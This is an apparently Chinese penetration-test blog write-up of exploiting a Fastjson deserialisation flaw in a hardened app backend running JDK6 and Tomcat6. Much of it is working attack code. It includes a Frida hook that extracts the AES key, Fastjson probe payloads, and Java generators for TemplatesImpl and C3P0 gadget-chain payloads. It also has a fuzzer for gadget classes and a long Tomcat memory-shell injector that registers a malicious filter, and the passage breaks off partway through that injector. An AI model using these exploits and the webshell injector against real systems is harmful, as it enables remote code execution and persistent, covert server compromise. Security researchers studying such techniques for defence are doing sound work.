敏感行业下的Fastjson打点实战:攻破加固N次的古董级系统

admin 2025年7月3日15:37:17评论28 views字数 36876阅读122分55秒阅读模式
前序

闭关一年,天虞实验室大神天团杀回来了...滴,本账号阅读体验卡已续费成功!(▀̿ĺ̯▀̿ ̿)/

言归正传:一个被测过且加固了好多次的 App,后端某个接口存在 fastjson,极品上古环境,jdk6+tocmat6,看我如何 getshell,因为保密原因所以会对其进行厚码或替换,望见谅。

开局

开局给了一个套了二代壳的APK文件:

笔者在测试App的时候,通常会先解压看下Androidmanifest.xml文件,很多时候从这个文件中的一些Activity名字基本上就可以判断出他的很多业务逻辑与功能,这就相当于一个web系统,他告诉了你他有哪些页面一样...

敏感行业下的Fastjson打点实战:攻破加固N次的古董级系统

大多时候App中的 Activity 多为导出状态,可通过 Objection 实现越权访问,可以帮助我们快速判断了解其业务功能与大致存在的接口信息:

敏感行业下的Fastjson打点实战:攻破加固N次的古董级系统

通过对导出 Activity 的越权,我们成功访问到了其应用内部的一处接口,该接口存在客户端侧的加密调用逻辑(加吧,正好不用绕waf了):

敏感行业下的Fastjson打点实战:攻破加固N次的古董级系统

在这种场景下,可以借助Frida先跑一些通用的自吐加密算法,具体可以参考下我之前整理的:https://github.com/wa1ki0g/Script-For-FridaHook/tree/main/自吐算法

不过这个 App 使用了一些自定义的加密函数,脚本跑出来的结果不太准确。另外由于它是一个二代壳,脱壳难度不算大,所以我这里选择先进行脱壳,再进一步分析。

敏感行业下的Fastjson打点实战:攻破加固N次的古董级系统

二代壳借助farthook内存可以直接脱掉:

敏感行业下的Fastjson打点实战:攻破加固N次的古董级系统

脱壳后发现其加密逻辑使用AES,密钥由静态密钥拼接salt构成。salt经过混淆处理,加密处的代码逻辑为:

publicstatic String encryptWithSalt(String plaintext){            String salt = restoreSalt(OBFUSCATED_SALT);             String fullKey = salt + AES_KEY;            /*AES加密逻辑*/           return 字节数组的大写16进制    }这里可以直接通过frida hook下这个函数,打印下值就能拿到了,hook.jsJava.perform(function () {  const AESUtil = Java.use("com.example.myapplication.AESUtil");  AESUtil.encrypt.implementation = function (plainText) {      const salt = AESUtil.restoreSalt(AESUtil.OBFUSCATED_SALT.value);      const aesKey = AESUtil.AES_KEY.value;      const fullKey = salt + aesKey;      console.log("[FULL AES KEY]: " + fullKey);        returnthis.encrypt(plainText);    };});

敏感行业下的Fastjson打点实战:攻破加固N次的古董级系统

随便访问一个查询的接口,并抓下包,解密一下看看传过去的是个什么东西:

敏感行业下的Fastjson打点实战:攻破加固N次的古董级系统

这里习惯给参数加上了单双引号,加密发送,发现报错信息syntax error, position at 0, name loginname

敏感行业下的Fastjson打点实战:攻破加固N次的古董级系统

第一反应fastjson,syntax error, position at 这个报错见的太多了,于是尝试确定。dnslog探测,

InetAddress Inet4Address Inet6Address URL 都试了,dns均没有收到。尝试通过报错直接显示版本,目标报错信息显示太少这里也没有直接显示出来:

{  "@type""java.lang.AutoCloseable"

敏感行业下的Fastjson打点实战:攻破加固N次的古董级系统

但是fuzzpayload的时候,发现JdbcRowSetImpl打ssrf延迟可以成功:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

敏感行业下的Fastjson打点实战:攻破加固N次的古董级系统

这回不仅可以确定fastjson,还可以确定版本了,@type:com.sun.rowset.JdbcRowSetImpl直接能打,版本不会超过1.2.24的样子。ok那问题就变成了fastjson不出网。

先回顾下相关知识fastjson连DNS都不出的情况下,像JNDIJDBC 这种需要出网的链基本都打不了,能利用的主要有三种方式:

1.TemplatesImpl链

2.DataSource+Bcel

3.C3P0二次反序列化

先说第一个,TemplatesImpl,老生常谈的一个东西了,在很多gadget中最后rce的方式都是使用他去加载字节码:

TemplatesImpl#newTransformer()......TransletClassLoader#defineClass()

而在fastjson中,因为_outputProperties属性的getter是直接调用了newTransformer()方法,所以可以直接使用TemplatesImpl去进行攻击:

敏感行业下的Fastjson打点实战:攻破加固N次的古董级系统

但是这条链在fastjson中有个致命的缺陷,即TemplatesImpl一些会用到的属性几乎都是不存在setter的私有属性,所以就导致在不开启Feature.SupportNonPublicField(是否支持访问和赋值类中的非 public 字段)的情况下是利用不了的,而且这玩意也不是默认开的,所以就导致实战中这个链几乎打不通的,当然这个目标也不例外。

敏感行业下的Fastjson打点实战:攻破加固N次的古董级系统

pass掉第一种,再来简单说下第二个:DataSource+Bcel

rce的点是通过BasicDataSource类的一个getter即getConnection方法,会一直走到createConnectionFactory方法,然后根据我们传过去的loader名即com.sun.org.apache.bcel.internal.util.ClassLoader去获取该类并实例化该类

敏感行业下的Fastjson打点实战:攻破加固N次的古董级系统

最终在loadclass中将BCEL字符串解码得到字节码并进行加载:

敏感行业下的Fastjson打点实战:攻破加固N次的古董级系统

看完上面流程我们大致了解了,通过

org.apache.tomcat.dbcp.dbcp.BasicDataSourcecom.sun.org.apache.bcel.internal.util.ClassLoader

就可以进行rce,com.sun.org.apache.bcel.internal.util.ClassLoader是jdk中自带的(限制版本为8u251之前),org.apache.tomcat.dbcp.dbcp.BasicDataSource又是tomcat中自带的,

tomcat67对应的路径是org.apache.tomcat.dbcp.dbcp.BasicDataSourceTomcat8.0以后采用org.apache.tomcat.dbcp.dbcp2.BasicDataSource

那么是不是像一些文章中说的那样,在fastjson版本适合的情况下jdk版本也在8u251前就可以畅通无阻了呢?

并不是,我们拿此次的tomcat6的目标以及poc来看:

{    {        "x":{                "@type""org.apache.tomcat.dbcp.dbcp.BasicDataSource",                "driverClassLoader": {                    "@type""com.sun.org.apache.bcel.internal.util.ClassLoader"                },                "driverClassName""$$BCEL$l$8b$I$A$..."        }    }: "x"}

首先是要调用driverClassLoader与driverClassName的setter来对private私有变量进行赋值:

敏感行业下的Fastjson打点实战:攻破加固N次的古董级系统
敏感行业下的Fastjson打点实战:攻破加固N次的古董级系统

而在tomcat6中虽然也自带了org.apache.tomcat.dbcp.dbcp.BasicDataSource,但是可以发现其是没有driverClassLoader的setter方法,甚至是没有driverClassLoader这个变量的:

敏感行业下的Fastjson打点实战:攻破加固N次的古董级系统

Ok,那么最终我们的第二种方法也不行,还剩下了一种,同时也是在fastjson不出网中利用最广泛的一种,c3p0的二次反序列化。

其实关于关于C3P0的攻击方式主要也有三种,但是在不出网的情况下能用的也只有3:1、利用URLClassLoader进行远程类加载2、JNDI注入3、HEX反序列化

简单说下他的原理,在fastjson中的触发点为userOverridesAsString属性的setter:

敏感行业下的Fastjson打点实战:攻破加固N次的古董级系统

最终在C3P0ImplUtils#parseUserOverridesAsString中处理16进制字符串并开始反序列化逻辑:

敏感行业下的Fastjson打点实战:攻破加固N次的古董级系统

Ok,那么现在问题就可以看成目标存在一个原生的反序列化漏洞,并且fastjson本身也是存在原生gadget的我们先利Thread.sleep尝试下延时,看看能不能执行代码成功:

import com.alibaba.fastjson.JSONArray;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;publicclassFAstGadget {    publicstaticvoidsetValue(Object obj, String name, Object value) throws Exception{        Field field = obj.getClass().getDeclaredField(name);        field.setAccessible(true);        field.set(obj, value);    }    publicstaticvoidmain(String[] args) throws Exception{        ClassPool pool = ClassPool.getDefault();        CtClass clazz = pool.makeClass("a");        CtClass superClass = pool.get(AbstractTranslet.class.getName());        clazz.setSuperclass(superClass);        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);        constructor.setBody("Thread.sleep(5000L);");        clazz.addConstructor(constructor);        byte[][] bytes = new byte[][]{clazz.toBytecode()};        TemplatesImpl templates = TemplatesImpl.class.newInstance();        setValue(templates, "_bytecodes", bytes);        setValue(templates, "_name""wa1ki0g");        setValue(templates, "_tfactory"null);        JSONArray jsonArray = new JSONArray();        jsonArray.add(templates);        BadAttributeValueExpException val = new BadAttributeValueExpException(null);        Field valfield = val.getClass().getDeclaredField("val");        valfield.setAccessible(true);        valfield.set(val, jsonArray);        FileOutputStream fileOut = new FileOutputStream("/tmp/FAstG.ser");        ObjectOutputStream out = new ObjectOutputStream(fileOut);        out.writeObject(val);        out.close();        fileOut.close();        System.out.println("write /tmp/FAstG.ser");    }}import com.alibaba.fastjson.JSON;import java.io.*;importstatic org.example.AESUtil.encryptByNoPadding2;publicclassRealPOc {    publicstaticvoidmain(String[] args) throws IOException, ClassNotFoundException {        InputStream in = new FileInputStream("/tmp/FAstG.ser");        byte[] data = toByteArray(in);        in.close();        String HexString = bytesToHexString(data, data.length);        String poc2 = "{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:" + HexString + ";"}";        System.out.println("poc2:");        System.out.println(poc2);        System.out.println("flag="+encryptByNoPadding2(poc2));        System.out.println(HPOST.sendPostRequest("http://x/","flag="+encryptByNoPadding2(poc2)));    }    publicstatic byte[] toByteArray(InputStream in) throws IOException {        byte[] classBytes;        classBytes = new byte[in.available()];        in.read(classBytes);        in.close();        return classBytes;    }    publicstatic String bytesToHexString(byte[] bArray, int length){        StringBuffer sb = new StringBuffer(length);        for(int i = 0; i < length; ++i) {            String sTemp = Integer.toHexString(255 & bArray[i]);            if (sTemp.length() < 2) {                sb.append(0);            }            sb.append(sTemp.toUpperCase());        }        return sb.toString();    }}

很遗憾,这里生成的poc并没有延时成功,难道连c3p0都没有?于是对拿出了自己之前整理过的依赖字典简单改了下并对目标进行fuzz,主要fuzz一些反序列化的依赖与JDK的特征类:

import org.example.AESUtil;import java.util.*;import java.io.*;import java.net.HttpURLConnection;import java.net.URL;publicclassFUzzYL {    publicstaticfinal Map<StringList<String>> GADGET_CLASSES = new HashMap<>();    static {        GADGET_CLASSES.put("JNDI类"Arrays.asList(                "com.sun.rowset.JdbcRowSetImpl",                "org.apache.shiro.jndi.JndiObjectFactory",                "org.apache.shiro.realm.jndi.JndiRealmFactory",                "com.mchange.v2.c3p0.JndiRefForwardingDataSource",                "com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource",                "org.apache.commons.configuration.JNDIConfiguration",                "org.apache.commons.configuration2.JNDIConfiguration",                "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",                "org.apache.commons.proxy.provider.remoting.SessionBeanProvider",                "com.caucho.config.types.ResourceRef",                "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup",                "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",                "br.com.anteros.dbcp.AnterosDBCPConfig",                "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig",                "org.apache.xbean.propertyeditor.JndiConverter",                "oracle.jdbc.connector.OracleManagedConnectionFactory",                "org.apache.cocoon.components.slide.impl.JMSContentInterceptor",                "org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory",                "org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory"        ));        GADGET_CLASSES.put("字节码&命令执行"Arrays.asList(                "org.apache.ibatis.type.Alias",                "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",                "org.apache.tomcat.dbcp.dbcp.BasicDataSource",                "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",                "com.sun.org.apache.bcel.internal.util.ClassLoader",                "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",                "javax.el.ELProcessor",                "groovy.lang.GroovyShell",                "groovy.lang.GroovyClassLoader",                "org.apache.naming.factory.BeanFactory",                "org.yaml.snakeyaml.Yaml",                "com.thoughtworks.xstream.XStream",                "org.xmlpull.v1.XmlPullParserException",                "org.xmlpull.mxp1.MXParser",                "org.mvel2.sh.ShellSession",                "com.sun.glass.utils.NativeLibLoader",                "javax.management.loading.MLet"));        GADGET_CLASSES.put("文件读写"Arrays.asList(                "org.apache.commons.io.file.Counters",                "org.apache.commons.io.Charsets",                "org.aspectj.ajde.Ajde"));        GADGET_CLASSES.put("反序列化利用链"Arrays.asList(                "com.mysql.jdbc.Buffer",                "com.mysql.cj.protocol.AuthenticationProvider",                "com.mysql.cj.api.authentication.AuthenticationProvider",                "org.codehaus.groovy.control.CompilerConfiguration",                "org.apache.commons.collections.functors.InvokerTransformer",       // CC1/CC3/CC7/CC31/CC40/CC41/CC322                "org.apache.commons.collections4.functors.InvokerTransformer",     // CC4+ (CommonsCollections4)                    "org.apache.commons.collections.functors.ChainedTransformer",      // 组合Transformer                "org.apache.commons.collections.functors.ConstantTransformer",                "org.apache.commons.collections4.functors.ChainedTransformer",                "org.apache.commons.collections4.functors.ConstantTransformer",                "org.apache.commons.collections.functors.MapEntryTransformer",                "org.apache.commons.collections4.functors.MapEntryTransformer",                "org.apache.commons.collections.map.LazyMap",                "org.apache.commons.collections.keyvalue.TiedMapEntry",                "org.apache.commons.collections.map.TransformedMap",                "org.apache.commons.collections.map.PredicatedMap",                "org.apache.commons.collections.functors.InstantiateTransformer",                "org.apache.commons.collections.functors.ConstantTransformer",                "org.apache.commons.collections.functors.FactoryTransformer",                "org.apache.commons.collections4.map.LazyMap",                "org.apache.commons.collections4.keyvalue.TiedMapEntry",                "org.apache.commons.collections4.map.TransformedMap",                "org.apache.commons.collections4.map.PredicatedMap",                "org.apache.commons.collections4.functors.InstantiateTransformer",                "org.apache.commons.collections4.functors.InvokerTransformer",                "org.apache.commons.collections4.functors.ChainedTransformer",                "org.apache.commons.collections4.functors.ConstantTransformer",                "org.apache.commons.collections4.functors.FactoryTransformer",                "org.apache.commons.beanutils.BeanComparator",                "org.apache.commons.logging.LogFactory",// CB17/CB18x/CB19x                "org.apache.commons.beanutils.PropertyUtilsBean",                "com.sun.syndication.feed.impl.ObjectBean",                        // ROME1000/ROME1111                "groovy.lang.GroovyShell",                                         // Groovy1702311、Groovy24x、Groovy244                "groovy.lang.GroovyClassLoader",                "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",             // C3P0 0.9.5.x                "com.mchange.v2.c3p0.JndiRefForwardingDataSource",                 // C3P0 0.9.2.x                "bsh.XThis",                                                       // Bsh20b4/5/6                "com.fasterxml.jackson.databind.node.POJONode",                    // Jackson 默认反序列化Gadget点                "com.fasterxml.jackson.databind.ObjectMapper",                "com.alibaba.fastjson.JSONObject",                "com.alibaba.fastjson.parser.ParserConfig",                "sun.reflect.annotation.AnnotationInvocationHandler",              // Jdk7u21                "sun.rmi.server.UnicastRef",                                       // RMI 链基础组件                "javax.management.BadAttributeValueExpException",                 // JRE8u20                // AspectJ Ajw                "org.aspectj.weaver.tools.cache.DefiningClassLoader",                "org.aspectj.weaver.tools.GeneratedClassHandler",                "org.apache.bcel.util.ClassLoader"));        GADGET_CLASSES.put("JDBC相关"Arrays.asList(                "org.h2.Driver",                "org.postgresql.Driver",                "com.mysql.jdbc.Driver",                "com.mysql.cj.jdbc.Driver",                "org.h2.jdbcx.JdbcDataSource",                "com.mysql.fabric.jdbc.FabricMySQLDriver",                "oracle.jdbc.driver.OracleDriver",                "org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory",                "org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory",                "org.apache.commons.dbcp.BasicDataSourceFactory",                "org.apache.commons.dbcp2.BasicDataSourceFactory",                "org.apache.commons.pool.KeyedObjectPoolFactory",                "org.apache.commons.pool2.PooledObjectFactory",                "org.apache.tomcat.jdbc.pool.DataSourceFactory",                "org.apache.juli.logging.LogFactory",                "com.alibaba.druid.pool.DruidDataSourceFactory"        ));        GADGET_CLASSES.put("WebSphere RCE"Arrays.asList(                "com.ibm.ws.client.applicationclient.ClientJ2CCFFactory",                "com.ibm.ws.webservices.engine.client.ServiceFactory"        ));        GADGET_CLASSES.put("XXE与文件写入"Arrays.asList(                "org.apache.catalina.UserDatabase",                "org.apache.catalina.users.MemoryUserDatabaseFactory"        ));        GADGET_CLASSES.put("辅助依赖环境判断"Arrays.asList(                "org.springframework.web.bind.annotation.RequestMapping",                "org.apache.catalina.startup.Tomcat",                "com.mchange.v2.c3p0.DataSources"        ));        GADGET_CLASSES.put("JDK 6 特征类"Arrays.asList(                "sun.nio.cs.UTF_8",                     // 存在于 JDK6,也存在于后续,但JDK6中用于默认编码判断                "sun.misc.BASE64Encoder",              // JDK6 存在,JDK8 后废弃,被 java.util.Base64 替代                "sun.misc.Unsafe",                     // 早期版本更常见,JDK9+被封装,JDK6可直接用反射调用                "java.util.Date",                      // JDK6主力时间类,JDK8后被java.time.*替代                "java.util.Calendar",                "com.sun.xml.internal.ws.client.AsyncResponseImpl"// JDK6 内置 WebService 实现类                "javax.xml.bind.JAXBContext",          // JDK6 内置 XML 绑定 API,JDK11 移除需手动引入                "com.sun.tools.javac.Main",            // Java Compiler Tools - javac 主类                "com.sun.tools.javadoc.Main",          // Javadoc 工具类                "com.sun.security.auth.module.UnixLoginModule",  // JDK6 标准模块之一,部分在JDK8后移除                "javax.swing.plaf.metal.MetalLookAndFeel"        // Swing 中经典主题类        ));        GADGET_CLASSES.put("JDK 7 特征类"Arrays.asList(                "java.nio.file.Path"// NIO.2 文件系统 API(JDK 7 引入)                "java.nio.file.Files",                "java.nio.file.attribute.BasicFileAttributes",                "java.nio.file.StandardWatchEventKinds",                "java.nio.file.WatchService",                "java.lang.AutoCloseable",                // try-with-resources 和 AutoCloseable                "java.util.Objects",                  // java.util.Objects 工具类(JDK 7 新增)                "java.util.concurrent.ForkJoinPool",                 // Fork/Join 并发框架(JDK 7 引入)                "java.util.concurrent.ForkJoinTask",                 // com.sun.nio(扩展支持 NIO)                "com.sun.nio.zipfs.ZipFileSystemProvider"  // JDK 7 内置 zip 文件系统支持        ));        GADGET_CLASSES.put("JDK 8 特征类"Arrays.asList(                "sun.nio.cs.GBK",                "java.util.Spliterator",                "java.util.concurrent.CompletableFuture",                "java.util.Optional",                "java.util.stream.Stream",                "java.time.LocalDate",                "java.time.LocalTime",                "java.time.LocalDateTime",                "java.time.Duration",                "java.time.Period",                "java.time.Instant",                "java.util.function.Function",                "java.util.function.Predicate",                "java.util.function.Supplier",                "java.util.function.Consumer",                "java.time.format.DateTimeFormatter"        ));        GADGET_CLASSES.put("JDK 9+ 特征类"Arrays.asList(                "java.lang.Module",                "java.util.concurrent.Flow",                "java.lang.invoke.VarHandle",                "java.util.OptionalInt",                "java.util.OptionalLong",                "java.util.OptionalDouble",                "java.net.http.HttpClient",                "java.lang.StackWalker",                "java.nio.file.Files"        ));        GADGET_CLASSES.put("JDK 11 特征类"Arrays.asList(                "java.net.http.HttpClient",                "java.lang.invoke.ConstantBootstraps",                "java.util.concurrent.Flow",                "java.nio.file.Files"        ));        GADGET_CLASSES.put("JDK 14 特征类"Arrays.asList(                "java.lang.Record",                "java.lang.constant.Constable"        ));        GADGET_CLASSES.put("JDK 15 特征类"Arrays.asList(                "java.net.http.HttpRequest",                "java.net.http.HttpResponse"        ));        GADGET_CLASSES.put("JDK 16 特征类"Arrays.asList(                "java.util.random.RandomGenerator"        ));        GADGET_CLASSES.put("JDK 17 特征类"Arrays.asList(                "java.net.spi",                "java.util.random.RandomGeneratorFactory"        ));    }    publicstaticvoidmain(String[] args){        String targetUrl = "http://x/"        for (Map.Entry<StringList<String>> entry : FUzzYL.GADGET_CLASSES.entrySet()) {            String category = entry.getKey();            List<String> classList = entry.getValue();            System.out.println("====== " + category + " 开始 ======");            for (String className : entry.getValue()) {                String payload = "{"x":{"@type":"java.lang.Character"{"@type":"java.lang.Class","val":""+className+""}}";                String response = poc2(targetUrl, "flag="+AESUtil.encryptByNoPadding2(payload));                if (response != null && response.contains("can not cast to char")) {                    System.out.println("依赖存在: " + className);                }            }        }    }}

可以看下我们执行的结果,可以发现是存在C3p0的:

敏感行业下的Fastjson打点实战:攻破加固N次的古董级系统

这里接着往下看可以发现fuzz出了目标是JDK6:

敏感行业下的Fastjson打点实战:攻破加固N次的古董级系统

这里先简单介绍下那个fastjson1的gadget,如果分析过fastjson那条原生gadget可以知道:

通过BadAttributeValueExpException#readObject去触发toString,然后调用toJSONString,再调用getter,实现反序列化利用。

Ok,我们debug下jdk6的代码,可以看到jdk6中的BadAttributeValueExpException,并没有重写readObject方法,甚至他的父类和祖父类都没有重写:

敏感行业下的Fastjson打点实战:攻破加固N次的古董级系统

Ok,原因找到了。对于这里可以另外找几个会触发toString的,这就又变成了一个经典的CTF问题,toString被黑名单,这里感兴趣的师傅可以去看下另外的文章,但是在本环境中几乎没有行的通的。

这里可以说个题外的东西:我们再使用某些版本的idea去debug模式下调试gadget的时候,调试器显示 xx 的内容的时候,可能会去调用toString(),导致提前执行gadget,比如这条fastjson的gadget,感兴趣的师傅可以去试下。

其实看到里面有cc的依赖,我这里最开始也尝试了利用cc1+TemplatesImpl+cp30进行Thread.sleep,但是也没有成功,debug下发现了个好玩的问题,比如当我们使用如下代码也就是利用javassist去生成恶意字节码时,网上的各种漏洞的利用工具几乎都是通过javassist去生成字节码的,示例代码:

        ClassPool pool = ClassPool.getDefault();        CtClass clazz = pool.makeClass("a");        CtClass superClass = pool.get(AbstractTranslet.class.getName());        clazz.setSuperclass(superClass);        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);        constructor.setBody("Thread.sleep(5000L);");        clazz.addConstructor(constructor);        byte[][] bytes = new byte[][]{clazz.toBytecode()};

可以看到他这里对当前的MAJOR_VERSION通过一些特征进行了判断,并生成相应版本的字节码:

敏感行业下的Fastjson打点实战:攻破加固N次的古董级系统

Java 8 编译代码,默认会生成 major_version = 52 的字节码,而 Java 6 只支持到 major_version = 50。因此,Java 6 JVM 加载该 class 文件时,会因版本过报错。而TemplatesImpl就是通过加载class去执行代码的,这里我们可以通过setMajorVersion方法去修改版本,或者使用对应JDK生成就好了。那么最后一个bug找到了,使用cc1+TemplatesImpl打个延时试下,加密发送paylpad,发现延迟成功:

敏感行业下的Fastjson打点实战:攻破加固N次的古董级系统

Ok,可以执行代码了,尝试注内存马拿shell,这里目标是tomcat6的环境,而之前就有师傅发过了相关文章,可以通过遍历线程的方式去获得tomcat6的上下文,大致逻辑为:

通过如下方式遍历线程:

Thread[] threads =(Thread[])this.getField(Thread.currentThread().getThreadGroup(),"threads");找当前正在处理 HTTP 请求的线程Object processors =getField(getField(getField(target,"this$0"),"handler"),"global") 再进一步获取:

List processors =(ArrayList)getField(object,"processors");

但是在本地测试时很不稳定,并且目标也没有成功,猜测是可能HTTP请求处理线程已经处理完了,但是恶意字节码还没有执行完,导致当前遍历线程时得到的结果为NULL,所以这里根据一些师傅放出的代码和文章改了一版能稳定利用的.java的代码,注入器代码:

import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.apache.catalina.Context;import org.apache.catalina.core.ApplicationFilterConfig;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.util.ArrayList;import java.util.HashMap;import java.util.Properties;import java.util.logging.Logger;import org.apache.catalina.core.StandardContext;import org.apache.catalina.core.StandardEngine;import org.apache.catalina.core.StandardHost;import org.apache.tomcat.util.buf.MessageBytes;public class newINject extends AbstractTranslet {    static String uri;    static String serverName;    static StandardContext standardContext;    public static Object getField(Object object, String fieldName){        Field declaredField;        Class clazz = object.getClass();        while (clazz != Object.class) {            try {                declaredField = clazz.getDeclaredField(fieldName);                declaredField.setAccessible(true);                return declaredField.get(object);            } catch (NoSuchFieldException e) {            } catch (IllegalAccessException e) {            }            clazz = clazz.getSuperclass();        }        return null;    }    public static byte[] base64Decode(String str) throws Exception {        Class clazz;        try {            clazz = Class.forName("sun.misc.BASE64Decoder");            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);        } catch (Exception var3) {            clazz = Class.forName("java.util.Base64");            Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);        }    }    public static void getStandardContext(){        String ANSI_YELLOW = "u001B[33m";        String ANSI_GREEN = "u001B[32m";        String ANSI_RESET = "u001B[0m";        Logger log = Logger.getLogger("113");        log.info(ANSI_YELLOW + "getStandardContext method ing..." + ANSI_RESET);        Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");        for (Thread thread : threads) {            if (thread == null || thread.getName().contains("exec")) {                continue;            }            if ((thread.getName().contains("Acceptor") || thread.getName().contains("Poller")) &&                    thread.getName().contains("http")) {                log.info("thread: " + thread.getName());                Object target = getField(thread, "target");                log.info("target: " + target);                Object jioEndPoint = null;                if (thread.getName().contains("Poller")) {                    try {                        jioEndPoint = getField(target, "this$0");                        log.info("jioEndPoint: " + jioEndPoint);                    } catch (Exception ignored) {}                } elseif (thread.getName().contains("Acceptor")) {                    try {                        jioEndPoint = getField(target, "endpoint");                        log.info("jioEndPoint: " + jioEndPoint);                    } catch (Exception e) {                        log.warning("异常,准备return " + e);                        return;                    }                }                Object service = getField(getField(getField(getField(getField(jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service");                log.info("service: " + service);                StandardEngine engine = null;                try {                    engine = (StandardEngine) getField(service, "container");                    log.info("engine: " + engine);                } catch (Exception ignored) {}                if (engine == null) {                    engine = (StandardEngine) getField(service, "engine");                    log.info("engine: " + engine);                }                HashMap<?, ?> children = (HashMap<?, ?>) getField(engine, "children");                log.info("children: " + children);                try {                    StandardHost standardHost = (StandardHost) children.get(serverName);                    children = (HashMap<?, ?>) getField(standardHost, "children");                    log.info("standardHost: " + standardHost);                    for (Object contextKey : children.keySet()) {                        String key = (String) contextKey;                        if (!(uri.startsWith(key))) continue;                        standardContext = (StandardContext) children.get(key);                        return;                    }                } catch (Exception e) {                    StandardHost standardHost = (StandardHost) children.get("localhost");                    log.info("standardHost: " + standardHost);                    try {                        children = (HashMap<?, ?>) getField(standardHost, "children");                        for (Object contextKey : children.keySet()) {                            String key = (String) contextKey;                            if (uri.startsWith(key) && !key.equals("")) {                                standardContext = (StandardContext) children.get(key);                                log.warning(ANSI_GREEN + "standardContext: " + standardContext + ANSI_RESET);                                return;                            }                        }                    } catch (Exception ignored) {}                }            }        }    }    public static StandardContext getStandardContextInstance(){        return standardContext;    }    public static void extractRequestContext(){        String ANSI_RESET = "u001B[0m";        String ANSI_RED = "u001B[31m";        Logger log = Logger.getLogger("main");        Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");        Object object;        for (Thread thread : threads) {            if (thread == null || thread.getName().contains("exec")) {                continue;            }            log.info(ANSI_RED + "main_thread: " + thread + ANSI_RESET);            if (thread.getName().contains("Acceptor") || thread.getName().contains("Poller")) {                Object target = getField(thread, "target");                log.info("main_target: " + target);                log.info(String.valueOf(target instanceof Runnable));                if (!(target instanceof Runnable)) {                    continue;                }                try {                    object = getField(getField(getField(target, "this$0"), "handler"), "global");                } catch (Exception e) {                    continue;                }                if (object == null) {                    continue;                }                ArrayList<?> processors = (ArrayList<?>) getField(object, "processors");                for (Object next : processors) {                    Object req = getField(next, "req");                    Object serverPort = getField(req, "serverPort");                    if (serverPort.equals(-1)) {                        continue;                    }                    log.info("req: " + req);                    MessageBytes serverNameMB = (MessageBytes) getField(req, "serverNameMB");                    serverName = (String) getField(serverNameMB, "strValue");                    if (serverName == null) serverName = serverNameMB.toString();                    if (serverName == null) serverName = serverNameMB.getString();                    log.info(serverName);                    MessageBytes uriMB = (MessageBytes) getField(req, "uriMB");                    uri = (String) getField(uriMB, "strValue");                    if (uri == null) uri = uriMB.toString();                    if (uri == null) uri = uriMB.getString();                    log.info(uri);                    getStandardContext();                }            }        }    }    public newINject(){        try {            newINject.extractRequestContext();            StandardContext context = newINject.getStandardContextInstance();            System.out.println("获取的StandardContext: " + context);            String filterName = "wa1k";            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass"byte[].class, int.class, int.class);            defineClass.setAccessible(true);            String result = "内存马classBase64";            byte[] code = base64Decode(result);            Class filter = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), code, 0, code.length);            Object evilFilter = filter.newInstance();            //EvilFilter evilFilter = new EvilFilter();            Constructor filterDefConstructor =org.apache.catalina.deploy.FilterDef.class.getConstructor(new Class[]{});            org.apache.catalina.deploy.FilterDef filterDef=(org.apache.catalina.deploy.FilterDef)filterDefConstructor.newInstance();            filterDef.setFilterName(filterName);            Method addFilterDef=standardContext.getClass().getMethod("addFilterDef", org.apache.catalina.deploy.FilterDef.class);            addFilterDef.invoke(standardContext,filterDef);            filterDef.setFilterClass(evilFilter.getClass().getName());            if(filterDef.getParameterMap().get("encoding")!=null){                filterDef.addInitParameter("encoding","utf-8");            }            Constructor filterMapConstructor =org.apache.catalina.deploy.FilterMap.class.getConstructor(new Class[]{});            org.apache.catalina.deploy.FilterMap filterMap=(org.apache.catalina.deploy.FilterMap)filterMapConstructor.newInstance();            filterMap.setFilterName(filterDef.getFilterName());            filterMap.setDispatcher("REQUEST");            System.out.println("hello");            filterMap.addURLPattern("/xxxx/wa1k");            Method addFilterMap=standardContext.getClass().getDeclaredMethod("addFilterMap", org.apache.catalina.deploy.FilterMap.class);            addFilterMap.invoke(standardContext,filterMap);            org.apache.catalina.deploy.FilterDef tmpFilterDef=(org.apache.catalina.deploy.FilterDef)filterDefConstructor.newInstance();            tmpFilterDef.setFilterClass("org.apache.catalina.ssi.SSIFilter");            tmpFilterDef.setFilterName(filterName);            Constructor applicationFilterConfigConstructor=org.apache.catalina.core.ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, org.apache.catalina.deploy.FilterDef.class);            